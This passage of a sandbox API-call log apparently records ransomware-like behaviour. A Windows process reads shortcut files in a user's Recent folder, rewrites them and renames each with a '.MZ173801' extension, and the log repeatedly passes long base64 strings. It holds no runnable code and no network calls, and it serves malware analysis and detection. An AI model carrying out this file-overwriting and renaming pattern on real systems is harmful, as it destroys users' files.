5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nKFbIyXhmf.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nkfbiyxhmf.ots.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.763] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.763] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.764] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x3f2 [0121.764] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.764] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x3f2, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x3f2, lpOverlapped=0x0) returned 1 [0121.765] CloseHandle (hObject=0x288) returned 1 [0121.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nKFbIyXhmf.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nkfbiyxhmf.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.766] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x3f2, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x3f2, lpOverlapped=0x0) returned 1 [0121.767] CloseHandle (hObject=0x288) returned 1 [0121.769] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nKFbIyXhmf.ots.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nkfbiyxhmf.ots.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\nKFbIyXhmf.ots.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nkfbiyxhmf.ots.lnk.mz173801")) returned 1 [0121.770] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded30720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf93d680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x98c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="NVl7TW99SiQl.lnk", cAlternateFileName="NVL7TW~1.LNK")) returned 1 [0121.770] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.770] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.770] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NVl7TW99SiQl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nvl7tw99siql.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded30720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf93d680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x98c)) returned 1 [0121.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NVl7TW99SiQl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nvl7tw99siql.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.775] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.775] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.775] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x98c [0121.775] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.775] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x98c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x98c, lpOverlapped=0x0) returned 1 [0121.776] CloseHandle (hObject=0x288) returned 1 [0121.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NVl7TW99SiQl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nvl7tw99siql.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.778] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x98c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x98c, lpOverlapped=0x0) returned 1 [0121.779] CloseHandle (hObject=0x288) returned 1 [0121.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NVl7TW99SiQl.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nvl7tw99siql.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\NVl7TW99SiQl.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\nvl7tw99siql.lnk.mz173801")) returned 1 [0121.782] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd373940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd41ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd41ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="ogiWVCr.lnk", cAlternateFileName="")) returned 1 [0121.782] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.782] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ogiWVCr.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ogiwvcr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd373940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfd41ba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfd41ba0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe05)) returned 1 [0121.784] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERD